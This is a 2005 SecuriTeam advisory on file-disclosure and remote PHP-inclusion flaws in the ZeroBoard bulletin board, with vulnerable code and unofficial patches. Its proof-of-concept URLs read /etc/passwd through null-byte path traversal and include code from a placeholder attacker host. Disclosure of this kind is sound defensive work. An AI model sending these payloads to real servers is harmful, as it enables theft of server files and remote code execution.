[UNIX] ZeroBoard Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 01/13/05

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Date: 13 Jan 2005 14:36:42 +0200

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      ZeroBoard Multiple Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://nzeo.com/> ZeroBoard is "one of the most widely used web BBS
    applications in Korea". Multiple vulnerabilities have been discovered in
    ZeroBoard, these vulnerabilities allow either to disclose sensitive files
    stored on the server, or to include arbitrary PHP files and cause their
    execution.

    DETAILS

    File Disclosure Vulnerability
    Required environment settings:
    In php.ini the following must be set: magic_quotes_gpc = off
    (NOTE: outlogin.php is only vulnerable when it is launched under PHP 5.x)

    Description:
    PHP will discarding the input values containing NULL characters when is
    magic_quotes_gpc set to off.

    The following vulnerable code can be found in _head.php:
    if(eregi(":\/\/",$_zb_path)) $_zb_path="";
    include $_zb_path."lib.php";}

    The following vulnerable code can be found in include/write.php:
    if(eregi(":\/\/",$dir)) $dir=".";
    include $dir."/write.php";

    The following vulnerable code can be found in outlogin.php:
    if(eregi(":\/\/",$_zb_path)) $_zb_path="./";
       [snip]
    @include $_zb_path."_head.php";

    Proof of concept:
    Any of the following URLs will trigger the vulnerability:
    http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
    http://[victim]/include/write.php?dir=../../../../../etc/passwd%00
    http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

    PHP Source Injection Vulnerability
    Required environment settings:
    In php.ini the following must be set: register_globals = On and/or
    allow_url_fopen = On.

    Description:
    Uninitialized usage of the $dir variable in print_category.php allow a
    remote attacker to include arbitrary PHP files that reside on another web
    server.

    Proof of concept
    Any of the following URLs will trigger the vulnerability:
    http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
    http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
    http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/

    The following vulnerable code can be found in include/print_category.php:
    include "$dir/category_head.php";

    The following vulnerable code can be found in skin/zero_vote/login.php,
    skin/zero_vote/setup.php and /zero_vote/setup.php:
    <? include "$dir/value.php3"; ?>

    Unofficial Patches:
    Without an official patch for these vulnerabilities your only option is to
    modify the vulnerable sources with following recommendations:

    As of ZeroBoard version 4.1pl5
    Modify the 13rd line of _head.php as following:
    if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";

    Modify the 16th line of include/write.php as following:
    if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";

    Modify the 50th line of outlogin.php as following:
    if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";

    Insert the following code at the 3rd line of include/print_category.php,
    if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";

    Modify the 1st line of skin/zero_vote/login.php, the 42nd line of
    skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,
    and the 1st line of skin/zero_vote/error.php as following:
    <? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include
    "$dir/value.php3"; ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisory@stgsecurity.com>
    SSR Team.

    ========================================

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